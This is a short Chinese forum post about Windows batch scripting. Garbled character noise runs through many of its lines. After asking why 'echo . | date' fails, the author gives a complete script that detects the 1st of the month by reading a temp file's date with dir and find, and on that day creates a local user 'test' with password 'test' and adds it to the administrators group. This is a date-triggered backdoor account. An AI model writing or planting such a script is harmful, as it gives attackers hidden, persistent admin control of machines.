|
我也没有测试过,今天早上来看了看,发现没用,真是晕...
8 C" v$ R2 ?3 K5 g原来是"echo . | date"命令没有用,但echo . | time却是有用的,这是为什么?有人告诉我吗?
* C! S; v" K; }; Q后来想了一下,就用其它的办法来实现它. 原理是:在cmd建立一个文件后,用dir查看,除了可以显示此文件的大小、后缀外,还建显示文件建立时间,也就是本地的当前时间啦~
' S$ }6 t4 Q8 L* y% K6 H# J) t& h- |8 j% g; V7 c
9 f/ F/ d0 }- T" R, S) {+ z6 B
所以 ,重点部份改成:
L [. i: w7 W7 y@echo off
8 E; h3 g/ ?. O1 ^rem \\在C:建立一个空文件date.tmp " F) o% o9 H0 n S0 d- y
type nul >c:\date.tmp
# }: R W+ u- u4 p! h( ~* Urem \\查看此文件信息,及关键字-01-,也是就此文件的日期是否-01- 1 Z) ?6 w r, a( p6 ^5 v' I
dir c:\date.tmp | find "-01-">nul 7 Z$ D! _1 r5 ]0 A- k7 D5 d# ?
rem 如是不是1号,跳到end结束 9 B1 H' }/ W9 p4 _
if errorlevel 1 goto end : D7 m% e, P$ w; O; T8 b
rem 如是是1号,跳到run执行
* d$ q( y' I: I3 u) tif errorlevel 0 goto run
' h1 v2 Y; o: {:run * A- e3 P( N2 u ~2 d
net user test test /add ) G4 |/ U& S& f/ U1 e! ]% I
net localgroup administrators test /add ! O2 m/ c: q# d0 `' s Q
goto end ' h: P$ d5 {! F2 }8 [+ Y4 H) ?
:end * ` R8 B& a6 b- X+ A/ @
del c:\date.tmp >nul 8 v$ U# x6 Z5 }# m0 V# ]5 G
5 D; N0 c6 j1 Q3 A
% k/ `8 q9 m0 M
+ k* E# u- T$ I9 [# U% O* c8 } |